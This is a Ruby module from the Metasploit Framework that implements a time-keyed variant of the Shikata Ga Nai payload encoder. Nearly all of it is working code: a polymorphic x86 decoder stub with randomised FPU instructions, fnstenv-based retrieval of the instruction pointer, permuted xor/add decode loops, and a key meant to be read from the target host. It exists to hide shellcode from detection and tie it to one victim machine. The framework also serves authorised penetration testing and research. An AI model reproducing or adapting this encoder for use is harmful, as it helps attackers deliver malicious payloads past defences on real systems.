190 lines
6.2 KiB
Ruby
190 lines
6.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'rex/poly'
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
|
|
|
|
# Manual ranking because the time(2) key is generated and supplied
|
|
# manually.
|
|
|
|
Rank = ManualRanking
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'time(2)-based Context Keyed Payload Encoder',
|
|
'Description' => %q{
|
|
This is a Context-Keyed Payload Encoder based on time(2)
|
|
and Shikata Ga Nai.
|
|
},
|
|
'Author' => 'Dimitris Glynos',
|
|
'Arch' => ARCH_X86,
|
|
'License' => MSF_LICENSE,
|
|
'Decoder' =>
|
|
{
|
|
'KeySize' => 4,
|
|
'BlockSize' => 4
|
|
})
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TIME_KEY',
|
|
[ true,
|
|
"TIME key from target host (see tools/context/time-key utility)",
|
|
"0x00000000"])
|
|
], self.class)
|
|
end
|
|
|
|
def obtain_key(buf, badchars, state)
|
|
state.key = datastore['TIME_KEY'].hex
|
|
return state.key
|
|
end
|
|
|
|
#
|
|
# Generates the shikata decoder stub.
|
|
#
|
|
def decoder_stub(state)
|
|
# If the decoder stub has not already been generated for this state, do
|
|
# it now. The decoder stub method may be called more than once.
|
|
if (state.decoder_stub == nil)
|
|
# Shikata will only cut off the last 1-4 bytes of it's own end
|
|
# depending on the alignment of the original buffer
|
|
cutoff = 4 - (state.buf.length & 3)
|
|
block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
|
|
|
|
# Take the last 1-4 bytes of shikata and prepend them to the buffer
|
|
# that is going to be encoded to make it align on a 4-byte boundary.
|
|
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
|
|
|
|
# Cache this decoder stub. The reason we cache the decoder stub is
|
|
# because we need to ensure that the same stub is returned every time
|
|
# for a given encoder state.
|
|
state.decoder_stub = block
|
|
end
|
|
|
|
state.decoder_stub
|
|
end
|
|
|
|
protected
|
|
def keygen_stub
|
|
payload =
|
|
"\x31\xdb" + # xor %ebx,%ebx
|
|
"\x8d\x43\x0d" + # lea 0xd(%ebx),%eax
|
|
"\xcd\x80" + # int $0x80
|
|
"\x66\x31\xc0" # xor %ax,%ax
|
|
end
|
|
|
|
#
|
|
# Returns the set of FPU instructions that can be used for the FPU block of
|
|
# the decoder stub.
|
|
#
|
|
def fpu_instructions
|
|
fpus = []
|
|
|
|
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
|
|
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
|
|
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
|
|
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
|
|
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
|
|
|
|
fpus << "\xd9\xd0"
|
|
fpus << "\xd9\xe1"
|
|
fpus << "\xd9\xf6"
|
|
fpus << "\xd9\xf7"
|
|
fpus << "\xd9\xe5"
|
|
|
|
# This FPU instruction seems to fail consistently on Linux
|
|
#fpus << "\xdb\xe1"
|
|
|
|
fpus
|
|
end
|
|
|
|
#
|
|
# Returns a polymorphic decoder stub that is capable of decoding a buffer
|
|
# of the supplied length and encodes the last cutoff bytes of itself.
|
|
#
|
|
def generate_shikata_block(state, length, cutoff)
|
|
# Declare logical registers
|
|
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
|
|
count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
|
|
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
|
|
|
|
# Declare individual blocks
|
|
endb = Rex::Poly::SymbolicBlock::End.new
|
|
|
|
# FPU blocks
|
|
fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)
|
|
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")
|
|
|
|
# Get EIP off the stack
|
|
popeip = Rex::Poly::LogicalBlock.new('popeip',
|
|
Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
|
|
|
|
# Clear the counter register
|
|
clear_register = Rex::Poly::LogicalBlock.new('clear_register',
|
|
"\x31\xc9",
|
|
"\x29\xc9",
|
|
"\x33\xc9",
|
|
"\x2b\xc9")
|
|
|
|
# Initialize the counter after zeroing it
|
|
init_counter = Rex::Poly::LogicalBlock.new('init_counter')
|
|
|
|
# Divide the length by four but ensure that it aligns on a block size
|
|
# boundary (4 byte).
|
|
length += 4 + (4 - (length & 3)) & 3
|
|
length /= 4
|
|
|
|
if (length <= 255)
|
|
init_counter.add_perm("\xb1" + [ length ].pack('C'))
|
|
else
|
|
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
|
|
end
|
|
|
|
# Key initialization block
|
|
|
|
# Decoder loop block
|
|
loop_block = Rex::Poly::LogicalBlock.new('loop_block')
|
|
|
|
xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
|
|
xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
|
|
xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
|
|
add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
|
|
add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
|
|
add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
|
|
sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
|
|
add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
|
|
|
|
loop_block.add_perm(
|
|
Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
|
|
Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
|
|
Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
|
|
Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
|
|
Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
|
|
Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })
|
|
|
|
# Loop instruction block
|
|
loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
|
|
"\xe2\xf5")
|
|
|
|
# Define block dependencies
|
|
fnstenv.depends_on(fpu)
|
|
popeip.depends_on(fnstenv)
|
|
init_counter.depends_on(clear_register)
|
|
loop_block.depends_on(popeip, init_counter)
|
|
loop_inst.depends_on(loop_block)
|
|
|
|
# Generate a permutation saving the EAX, ECX and ESP registers
|
|
loop_inst.generate([
|
|
Rex::Arch::X86::EAX,
|
|
Rex::Arch::X86::ESP,
|
|
Rex::Arch::X86::ECX ], nil, state.badchars)
|
|
end
|
|
|
|
end
|